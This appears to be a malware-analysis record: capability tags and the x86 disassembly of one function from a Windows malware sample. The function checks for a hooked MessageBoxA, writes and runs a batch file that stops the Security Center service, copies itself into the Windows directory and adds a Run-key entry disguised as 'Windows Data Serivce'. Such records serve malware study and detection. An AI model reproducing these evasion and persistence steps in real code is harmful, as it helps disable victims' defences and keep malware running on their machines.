Function at 0x40e3cf
Capabilities:
Create process on windows
Create thread
Get common file path
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x790
push esi
push edi
call fcn.0040b3b3
mov byte [ebp - 0x730], 0xc8
and byte [ebp - 0x72f], 0
mov byte [ebp - 0x72e], 4
and byte [ebp - 0x72d], 0
mov byte [ebp - 0x72c], 0x60
push str.MessageBoxA
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x31c], eax
push 5
lea eax, [ebp - 0x730]
push eax
push dword [ebp - 0x31c]
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x40e44b
push 1
pop eax
test eax, eax
je 0x40e443
jmp 0x40e43a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x318], 1
mov esi, str.c:x.bat
lea edi, [ebp - 0x328]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x528]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
jbe 0x40e50d
cmp dword [ebp - 0x318], 0
je 0x40e4bd
push str._echo_off_r_nnet_stop__Security_Center__r_ndel_c:x.bat_r_n
lea eax, [ebp - 0x728]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x728]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x728]
push eax
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push str.open
push 0
call dword [0x41cc68]
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x208]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x4182f4
lea eax, [ebp - 0x208]
push eax
push 0x4185f4
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 0x4182f4
lea eax, [ebp - 0x208]
push eax
call fcn.004104c9
pop ecx
pop ecx
test eax, eax
je 0x40e691
and dword [ebp - 0x780], 0
push 0
lea eax, [ebp - 0x780]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x4182f4
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push 0x4182f4
push 1
push 0
push str.Windows_Data_Serivce
push dword [ebp - 0x780]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x780]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
push 0
lea eax, [ebp - 0x790]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x77c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x770], 0x41cfe0
mov dword [ebp - 0x77c], 0x44
mov dword [ebp - 0x750], 1
and word [ebp - 0x74c], 0
lea eax, [ebp - 0x790]
push eax
lea eax, [ebp - 0x77c]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push 0x28
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e689
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x790]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x78c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x41cc5c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x734]
push eax
push 0
push 0
push 0x40e6e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0
jne 0x40e6be
xor eax, eax
jmp 0x40e6da
push 0xffffffffffffffff
push dword [ebp - 0x738]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x738]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret 0x10